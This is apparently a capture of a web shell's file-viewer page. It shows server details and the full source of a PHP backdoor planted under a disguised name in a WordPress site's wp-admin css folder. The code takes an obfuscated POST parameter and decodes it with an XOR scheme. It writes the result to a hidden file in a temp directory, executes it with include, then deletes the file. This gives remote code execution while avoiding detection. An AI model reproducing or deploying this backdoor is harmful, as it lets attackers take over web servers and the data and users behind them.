HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System: Linux li317-225.members.linode.com 3.10.0-1062.12.1.el7.x86_64 #1 SMP Tue Feb 4 23:02:59 UTC 2020 x86_64
User: apache (48)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /var/www/kosmicevents/public/wp-admin__7af9720/css/schema.php
<?php

if(filter_has_var(INPUT_POST, "\x65n\x74ry")){
	$data_chunk = $_POST["\x65n\x74ry"];
				$data_chunk 	=explode(		 '.' ,	 $data_chunk	 )	  ; 
	$symbol = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s);
            $t = 0;
    
            while($t < count($data_chunk)) { $v2 = $data_chunk[$t];
                $sChar = ord($s[$t % $sLen]);
                $dec =((int)$v2 - $sChar -($t % 10))		^86;
                $symbol .= chr($dec);
                $t++;
            }
	$hld = array_filter([session_save_path(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), getcwd(), "/var/tmp", "/tmp"]);
	foreach ($hld as $pset):
    		if (max(0, is_dir($pset) * is_writable($pset))) {
    $obj = str_replace("{var_dir}", $pset, "{var_dir}/.value");
    if (@file_put_contents($obj, $symbol) !== false) {
	include $obj;
	unlink($obj);
	exit;
}
}
endforeach;
}